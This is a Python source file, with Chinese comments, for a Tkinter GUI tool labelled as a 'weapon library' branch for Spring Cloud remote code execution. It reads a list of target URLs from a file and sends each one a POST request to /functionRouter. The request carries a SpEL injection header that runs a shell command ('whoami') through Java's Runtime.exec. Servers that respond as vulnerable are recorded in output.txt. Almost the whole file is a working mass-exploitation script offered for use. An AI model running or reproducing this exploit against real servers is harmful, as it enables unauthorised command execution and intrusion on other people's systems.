# -*- coding: utf-8 -*-
#requst库进行Get请求
import requests
#针对与Python解释器相关的变量和方法
import sys
'''
在python里面线程的创建有两种方式：
其一使用Thread类创建创建一个线程,function_name需要线程去执行的方法名，par1,2为方法参数，该属性要是数组，只有一个参数可加逗号
threads=threading.Thread(targe=function_name,args=(par1,par2))启动刚刚创建的线程 threads.start()
其二是重新写一个类继承threading.Thread
'''
import threading
#Urllib3是一个功能强大，条理清晰，用于HTTP客户端的Python库
import urllib3
#图形化GUI页面
import tkinter as tk
import tkinter.filedialog
import tkinter.messagebox


#通过浏览调用txt文件
def browse ():
    global filepath
    filepath = tkinter.filedialog.askopenfilename(title='选择文件路径',filetypes=[('只能提交TXT文件', '*.txt')])
    c1 = tk.Label(window,text=filepath)
    c1.place(relx=0.1,rely=0.3,relheight=0.15)


def scan(txt,cmd):
    data ='APT41 Testing'
    pay1 = f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'
    #请求头文件
    headers = {
        'spring.cloud.function.routing-expression':pay1,
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    path = '/functionRouter'
    f = open(txt,encoding='utf-8')
    urllist=f.readlines()
    for url in urllist:
        url = url.strip('\n')
        url1 = url + path
        try:
            req=requests.post(url=url1,headers=headers,data=data,verify=False,timeout=5)
            code =req.status_code
            text = req.text
            tz = '"error":"Internal Server Error"'

            if code == 500 and tz in text:
                print(f'[+]{url} Success RCE')
                su = open('output.txt', 'a+')
                su.write(url + '\n')
                su.close()
            else:
                print(f'[-]{url} Fail RCE')

        except requests.exceptions.RequestException:
            print(f'[-]{url} Timeout')
            continue
        except:
            print(f'[-]{url} Exception')
            continue

def start():
    t = threading.Thread(target=scan(filepath, 'whoami'))
    t.start()

if __name__ == '__main__' :
    # 图形化代码
    window = tk.Tk()
    window.title('乐逍遥武器库--Sping-cloud-RCE分支')
    # 操作页面
    window.geometry('500x200')
    # 输入框大小，是否显示文字
    # 页面布局设置；bg是颜色，width是宽度，height是高度，pady是y轴间距，font字体参数,来控制控件上显示的字体,大小和样式
    b2 = tk.Button(window, text='浏览', bg="grey", font=('Arial', 12), command=browse)
    b2.place(relx=0.75, rely=0.3, relheight=0.15)

    # 页面布局设置；bg是颜色，width是宽度，height是高度，pady是y轴间距，font字体参数,来控制控件上显示的字体,大小和样式
    b2 = tk.Button(window, text='攻击', bg="grey", font=('Arial', 12), command=start)
    b2.place(relx=0.85, rely=0.3, relheight=0.15)
    #循环使程序运行后产生图形化页面（如果运行后没出现页面，可以看看加没加这句话）
    window.mainloop()